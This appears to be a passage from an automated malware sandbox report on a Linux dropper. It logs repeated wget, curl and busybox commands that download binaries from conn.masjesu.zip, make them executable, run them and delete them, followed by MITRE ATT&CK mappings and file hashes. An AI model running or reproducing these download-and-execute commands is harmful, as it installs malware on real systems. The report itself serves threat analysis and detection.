  chmod 777 dHC4wAZSqcU5IUEDWm8kB53YpJcNjW11ac
  2⤵
  - File and Directory Permissions Modification
  PID:975
- /tmp/dHC4wAZSqcU5IUEDWm8kB53YpJcNjW11ac
  ./dHC4wAZSqcU5IUEDWm8kB53YpJcNjW11ac
  2⤵
  - Executes dropped EXE
  PID:976
- /bin/rm
  rm dHC4wAZSqcU5IUEDWm8kB53YpJcNjW11ac
  2⤵
  PID:978
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/aFU9CoDUJADA3utjnigQjGsmY40ZrxZMnJ
  2⤵
  - System Network Configuration Discovery
  PID:979
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/aFU9CoDUJADA3utjnigQjGsmY40ZrxZMnJ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:980
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/aFU9CoDUJADA3utjnigQjGsmY40ZrxZMnJ
  2⤵
  PID:982
- /bin/chmod
  chmod 777 aFU9CoDUJADA3utjnigQjGsmY40ZrxZMnJ
  2⤵
  - File and Directory Permissions Modification
  PID:983
- /tmp/aFU9CoDUJADA3utjnigQjGsmY40ZrxZMnJ
  ./aFU9CoDUJADA3utjnigQjGsmY40ZrxZMnJ
  2⤵
  - Executes dropped EXE
  PID:984
- /bin/rm
  rm aFU9CoDUJADA3utjnigQjGsmY40ZrxZMnJ
  2⤵
  PID:985
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/tgzwJfG2bu2H47653RL9c7l8MtQGxKE2qp
  2⤵
  - System Network Configuration Discovery
  PID:986
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/tgzwJfG2bu2H47653RL9c7l8MtQGxKE2qp
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:987
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/tgzwJfG2bu2H47653RL9c7l8MtQGxKE2qp
  2⤵
  - System Network Configuration Discovery
  PID:989
- /bin/chmod
  chmod 777 tgzwJfG2bu2H47653RL9c7l8MtQGxKE2qp
  2⤵
  - File and Directory Permissions Modification
  PID:990
- /tmp/tgzwJfG2bu2H47653RL9c7l8MtQGxKE2qp
  ./tgzwJfG2bu2H47653RL9c7l8MtQGxKE2qp
  2⤵
  - Executes dropped EXE
  PID:991
- /bin/rm
  rm tgzwJfG2bu2H47653RL9c7l8MtQGxKE2qp
  2⤵
  PID:993
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/DHeCl0jp23IPRqB86yPPLgFGrJcOMSr1SB
  2⤵
  - System Network Configuration Discovery
  PID:994
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/DHeCl0jp23IPRqB86yPPLgFGrJcOMSr1SB
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:995
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/DHeCl0jp23IPRqB86yPPLgFGrJcOMSr1SB
  2⤵
  - System Network Configuration Discovery
  PID:997
- /bin/chmod
  chmod 777 DHeCl0jp23IPRqB86yPPLgFGrJcOMSr1SB
  2⤵
  - File and Directory Permissions Modification
  PID:998
- /tmp/DHeCl0jp23IPRqB86yPPLgFGrJcOMSr1SB
  ./DHeCl0jp23IPRqB86yPPLgFGrJcOMSr1SB
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:999
- /bin/rm
  rm DHeCl0jp23IPRqB86yPPLgFGrJcOMSr1SB
  2⤵
  - System Network Configuration Discovery
  PID:1000
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/HkmFnWajjeVaRQ3K4zMu0GG0E8OR7mYmvj
  2⤵
  - System Network Configuration Discovery
  PID:1001
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/HkmFnWajjeVaRQ3K4zMu0GG0E8OR7mYmvj
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1002
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/HkmFnWajjeVaRQ3K4zMu0GG0E8OR7mYmvj
  2⤵
  - System Network Configuration Discovery
  PID:1004
- /bin/chmod
  chmod 777 HkmFnWajjeVaRQ3K4zMu0GG0E8OR7mYmvj
  2⤵
  - File and Directory Permissions Modification
  PID:1005
- /tmp/HkmFnWajjeVaRQ3K4zMu0GG0E8OR7mYmvj
  ./HkmFnWajjeVaRQ3K4zMu0GG0E8OR7mYmvj
  2⤵
  - Executes dropped EXE
  PID:1006
- /bin/rm
  rm HkmFnWajjeVaRQ3K4zMu0GG0E8OR7mYmvj
  2⤵
  PID:1008
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/i58c2mnqKhgOVBRt3NTRpRHoo6LKfUXiGT
  2⤵
  - System Network Configuration Discovery
  PID:1009
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/i58c2mnqKhgOVBRt3NTRpRHoo6LKfUXiGT
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1010
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/i58c2mnqKhgOVBRt3NTRpRHoo6LKfUXiGT
  2⤵
  PID:1012
- /bin/chmod
  chmod 777 i58c2mnqKhgOVBRt3NTRpRHoo6LKfUXiGT
  2⤵
  - File and Directory Permissions Modification
  PID:1013
- /tmp/i58c2mnqKhgOVBRt3NTRpRHoo6LKfUXiGT
  ./i58c2mnqKhgOVBRt3NTRpRHoo6LKfUXiGT
  2⤵
  - Executes dropped EXE
  PID:1014
- /bin/rm
  rm i58c2mnqKhgOVBRt3NTRpRHoo6LKfUXiGT
  2⤵
  PID:1015
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/sqpAhyOZFgOJKcZfaDkKMtNYuAk1xklhQE
  2⤵
  - System Network Configuration Discovery
  PID:1016
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/sqpAhyOZFgOJKcZfaDkKMtNYuAk1xklhQE
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1017
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/sqpAhyOZFgOJKcZfaDkKMtNYuAk1xklhQE
  2⤵
  - System Network Configuration Discovery
  PID:1019
- /bin/chmod
  chmod 777 sqpAhyOZFgOJKcZfaDkKMtNYuAk1xklhQE
  2⤵
  - File and Directory Permissions Modification
  PID:1020
- /tmp/sqpAhyOZFgOJKcZfaDkKMtNYuAk1xklhQE
  ./sqpAhyOZFgOJKcZfaDkKMtNYuAk1xklhQE
  2⤵
  - Executes dropped EXE
  PID:1021
- /bin/rm
  rm sqpAhyOZFgOJKcZfaDkKMtNYuAk1xklhQE
  2⤵
  PID:1023

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RRCzpeYokgwuqVYg6Kn10tGLQXQ2qNzizT

Path /tmp/RRCzpeYokgwuqVYg6Kn10tGLQXQ2qNzizT
Size 16B
SHA256 17dcc5c5df80bfe98d30dd8eb7e0de5875d0e4560a0f23e5acb0b13ef1a1a3c5
MD5 7689ca8c5bc85cf6b78ef89323d4df6a
SHA1 a1392ec3b571b3de167f0b9a5dadab4f14a2db76
SHA512 40f543b232d42b9b7796382c15de33e682111685ad7ae87be455d0d8d3e48866dfc137f4555b8bc6bf03ac5dde233c8f20e8c4f220c05c71892de0ce14691471
MD5 SHA1 SHA512

Submit Download

wdGh19ZzISooPUTsZl1zT6DFD5YYNBhHXY

Path /tmp/wdGh19ZzISooPUTsZl1zT6DFD5YYNBhHXY
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512